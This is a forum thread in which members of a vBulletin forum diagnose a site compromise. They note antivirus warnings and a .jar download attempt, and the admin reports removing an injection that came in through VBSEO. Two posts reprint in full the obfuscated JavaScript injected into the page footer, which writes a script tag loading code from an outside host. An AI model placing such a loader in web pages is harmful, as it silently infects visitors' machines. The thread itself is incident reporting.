Forum compromised?

[stevebrowne]

there's something wrong with the footer of the page, as it (a) looks wrong and (b) is forcing each page to the END of the page on each load. PageUp/Dn don't work either initially as if something else has focus. It's OK when I click on the main page area.

[fraser]

Yep seeing warnings here from ESET too

[fraser]

something is trying to load

http://binbong. servehttp .com/sdfg.jar

[rob]

yup at footer of page after the GA stuff is:

var AjPdIJYXLs = "VYojT23VYojT33"; var aPzJSlR0bO0 = "VYojT3cVYojT73VYojT63VYojT72VYo"; var aPzJSlR0bO1 = "jT69VYojT70VYojT74VYojT20VYojT7"; var aPzJSlR0bO2 = "3VYojT72VYojT63VYojT3dVYojT22VY"; var aPzJSlR0bO3 = "ojT68VYojT74VYojT74VYojT70VYojT"; var aPzJSlR0bO4 = "3aVYojT2fVYojT2fVYojT6dVYojT6dV"; var aPzJSlR0bO5 = "YojT66VYojT61VYojT76VYojT2eVYoj"; var aPzJSlR0bO6 = "T73VYojT65VYojT72VYojT76VYojT65"; var aPzJSlR0bO7 = "VYojT68VYojT74VYojT74VYojT70VYo"; var aPzJSlR0bO8 = "jT2eVYojT63VYojT6fVYojT6dVYojT2"; var aPzJSlR0bO9 = "fVYojT2fVYojT6dVYojT6cVYojT2eVY"; var aPzJSlR0bO10 = "ojT70VYojT68VYojT70VYojT22VYojT"; var aPzJSlR0bO11 = "3eVYojT20VYojT3cVYojT2fVYojT73V"; var aPzJSlR0bO12 = "YojT63VYojT72VYojT69VYojT70VYoj"; var aPzJSlR0bO13 = "T74VYojT3e"; var pppxhNzbrz = "TviGq23VYojT33"; var gdplog8PER = aPzJSlR0bO0 + aPzJSlR0bO1 + aPzJSlR0bO2 + aPzJSlR0bO3 + aPzJSlR0bO4 + aPzJSlR0bO5 + aPzJSlR0bO6 + aPzJSlR0bO7 + aPzJSlR0bO8 + aPzJSlR0bO9 + aPzJSlR0bO10 + aPzJSlR0bO11 + aPzJSlR0bO12 + aPzJSlR0bO13; var zy7a7KGjPG = "FOmyW23NBx0Y33"; FUPa52wyIc = gdplog8PER.replace(/VYojT/g,"%"); var la27tUrKdS=unescape;var AjPdIJYXLs = "NBx0Y23TviGq33"; q9124=this; var Y07YuuE3KT= q9124["WYd1GoGYc2uG1mYGe2YnltY".replace(/[Y12WlG\:]/g, "")]; Y07YuuE3KT.write(la27tUrKdS(FUPa52wyIc)); </script><script type="text/javascript"><!--
try {
var pageTracker = _gat._getTracker("");
pageTracker._initData();

pageTracker._trackPageview();


which is calling the ml.php stuff

[Edwin]

Almost 100% certain to be an injection exploit from everything that's been posted.

I recommend if you don't have bang spanking new up to date antivirus software running, stop browsing the forum NOW until it's clearer what's going on. Of course, if you haven't seen a warning it may already be too late!

[davedevelopment]

Originally Posted by Edwin

Most likely the site's been hacked with some kind of code injection exploit. The version of vbulletin that's running is pretty old after all, if the version number at the foot of the page is correct.

Yeah, this looks dodgy to me, just above some Google Analytics code at the foot of the page.

UPDATE: My bad, didn't see Rob's post.

<script
var AjPdIJYXLs = "VYojT23VYojT33"; var aPzJSlR0bO0 = "VYojT3cVYojT73VYojT63VYojT72VYo"; var aPzJSlR0bO1 = "jT69VYojT70VYojT74VYojT20VYojT7"; var aPzJSlR0bO2 = "3VYojT72VYojT63VYojT3dVYojT22VY"; var aPzJSlR0bO3 = "ojT68VYojT74VYojT74VYojT70VYojT"; var aPzJSlR0bO4 = "3aVYojT2fVYojT2fVYojT6dVYojT6dV"; var aPzJSlR0bO5 = "YojT66VYojT61VYojT76VYojT2eVYoj"; var aPzJSlR0bO6 = "T73VYojT65VYojT72VYojT76VYojT65"; var aPzJSlR0bO7 = "VYojT68VYojT74VYojT74VYojT70VYo"; var aPzJSlR0bO8 = "jT2eVYojT63VYojT6fVYojT6dVYojT2"; var aPzJSlR0bO9 = "fVYojT2fVYojT6dVYojT6cVYojT2eVY"; var aPzJSlR0bO10 = "ojT70VYojT68VYojT70VYojT22VYojT"; var aPzJSlR0bO11 = "3eVYojT20VYojT3cVYojT2fVYojT73V"; var aPzJSlR0bO12 = "YojT63VYojT72VYojT69VYojT70VYoj"; var aPzJSlR0bO13 = "T74VYojT3e"; var pppxhNzbrz = "TviGq23VYojT33"; var gdplog8PER = aPzJSlR0bO0 + aPzJSlR0bO1 + aPzJSlR0bO2 + aPzJSlR0bO3 + aPzJSlR0bO4 + aPzJSlR0bO5 + aPzJSlR0bO6 + aPzJSlR0bO7 + aPzJSlR0bO8 + aPzJSlR0bO9 + aPzJSlR0bO10 + aPzJSlR0bO11 + aPzJSlR0bO12 + aPzJSlR0bO13; var zy7a7KGjPG = "FOmyW23NBx0Y33"; FUPa52wyIc = gdplog8PER.replace(/VYojT/g,"%"); var la27tUrKdS=unescape;var AjPdIJYXLs = "NBx0Y23TviGq33"; q9124=this; var Y07YuuE3KT= q9124["WYd1GoGYc2uG1mYGe2YnltY".replace(/[Y12WlG\:]/g, "")]; Y07YuuE3KT.write(la27tUrKdS(FUPa52wyIc)); </script>

[Systreg]

Some other sites reporting the same thing in vBulletin, this forum topic about the same thing:

Trojan Horse - Yamaha Grizzly ATV Forum

On page 3 of that topic it gives these 3 links:

Is vBulletin.com Infected by a virus ? - vBulletin.org Forum

*WARNING ABOUT THESE 2 LINKS BELOW*, these are the other 2 links it gives, which I believe are the real vbulletin.com site urls, when I visited them my AVG anti virus gave a virus warning, I've broken the links to prevent accidental clicking:

http://w w w. vbulletin.com/forum/showthread.php?336457-My-vB-3-8-websites-infected-with-Trojan-Downloader-JS-Agent-ewo

http://w w w .vbulletin.com/forum/showthread.php?336433-Malicious-Software

I get no virus warning on Acorn at all, not seeing any of the stuff at the footer of the page either, I'm on Opera browser

[Skinner]

Seems like its the forum to target firefox. Does anyone WITHOUT firefox have this ?

I use opera myself.

[admin]

It was a virus attack, via VBSEO (not VB directly).

This has been removed and patched.

Please confirm all OK.

Thanks

Admin

[retired_member12]

Yup, back to normal here.